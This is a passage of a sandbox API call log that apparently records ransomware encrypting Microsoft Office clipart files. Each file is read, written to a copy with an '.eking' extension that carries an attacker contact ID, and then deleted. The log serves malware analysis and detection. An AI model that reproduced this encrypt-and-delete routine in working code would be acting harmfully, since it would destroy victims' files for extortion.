office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0265.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0265.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0265.408] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.408] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x370 [0265.410] ReadFile (in: hFile=0x318, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x414, lpOverlapped=0x0) returned 1 [0265.413] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x420, lpOverlapped=0x0) returned 1 [0265.414] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0265.414] CloseHandle (hObject=0x318) returned 1 [0265.415] CloseHandle (hObject=0x370) returned 1 [0265.415] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0 [0265.415] SetEvent (hEvent=0x2b8) returned 1 [0265.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0265.417] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2166) returned 1 [0265.417] CloseHandle (hObject=0x370) returned 1 [0265.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0265.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0265.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0265.418] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.418] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x318 [0265.419] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x876, lpOverlapped=0x0) returned 1 [0265.424] WriteFile (in: hFile=0x318, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x880, lpOverlapped=0x0) returned 1 [0265.425] WriteFile (in: hFile=0x318, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0265.425] CloseHandle (hObject=0x370) returned 1 [0265.426] CloseHandle (hObject=0x318) returned 1 [0265.426] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0 [0265.426] SetEvent (hEvent=0x2b8) returned 1 [0265.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0265.428] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1712) returned 1 [0265.428] CloseHandle (hObject=0x318) returned 1 [0265.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0265.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0265.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0265.429] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.429] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x370 [0265.431] ReadFile (in: hFile=0x318, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x6b0, lpOverlapped=0x0) returned 1 [0265.433] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x6c0, lpOverlapped=0x0) returned 1 [0265.693] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0265.694] CloseHandle (hObject=0x318) returned 1 [0265.696] CloseHandle (hObject=0x370) returned 1 [0265.697] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0 [0265.699] SetEvent (hEvent=0x2b8) returned 1 [0265.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0265.703] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1588) returned 1 [0265.703] CloseHandle (hObject=0x370) returned 1 [0265.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0265.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0265.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0265.708] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.708] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x318 [0265.710] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x634, lpOverlapped=0x0) returned 1 [0266.139] WriteFile (in: hFile=0x318, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x640, lpOverlapped=0x0) returned 1 [0266.141] WriteFile (in: hFile=0x318, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0266.141] CloseHandle (hObject=0x370) returned 1 [0266.141] CloseHandle (hObject=0x318) returned 1 [0266.142] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0 [0266.142] SetEvent (hEvent=0x2b8) returned 1 [0266.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0266.147] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1212) returned 1 [0266.147] CloseHandle (hObject=0x318) returned 1 [0266.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0266.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0266.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0266.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0266.148] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0266.148] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0266.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x370 [0266.149] ReadFile (in: hFile=0x318, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4bc, lpOverlapped=0x0) returned 1 [0266.151] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4c0, lpOverlapped=0x0) returned 1 [0266.153] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0266.153] CloseHandle (hObject=0x318) returned 1 [0266.153] CloseHandle (hObject=0x370) returned 1 [0266.154] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0 [0266.154] SetEvent (hEvent=0x2b8) returned 1 [0266.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0266.156] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2052) returned 1 [0266.156] CloseHandle (hObject=0x370) returned 1 [0266.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0266.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0266.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0266.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0266.157] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0266.157] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0266.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x318 [0266.158] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x804, lpOverlapped=0x0) returned 1 [0266.161] WriteFile (in: hFile=0x318, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x810, lpOverlapped=0x0) returned 1 [0266.162] WriteFile (in: hFile=0x318, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0266.162] CloseHandle (hObject=0x370) returned 1 [0266.163] CloseHandle (hObject=0x318) returned 1 [0266.163] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0 [0266.163] SetEvent (hEvent=0x2b8) returned 1 [0266.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0266.373] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5580) returned 1 [0266.373] CloseHandle (hObject=0x364) returned 1 [0266.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0266.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0267.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0267.088] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.088] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0267.090] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x15cc, lpOverlapped=0x0) returned 1 [0267.092] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x15d0, lpOverlapped=0x0) returned 1 [0267.093] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.093] CloseHandle (hObject=0x3a8) returned 1 [0267.093] CloseHandle (hObject=0x3ac) returned 1 [0267.094] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0 [0267.094] SetEvent (hEvent=0x2b8) returned 1 [0267.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0267.096] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3796) returned 1 [0267.096] CloseHandle (hObject=0x3ac) returned 1 [0267.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0267.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0267.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft 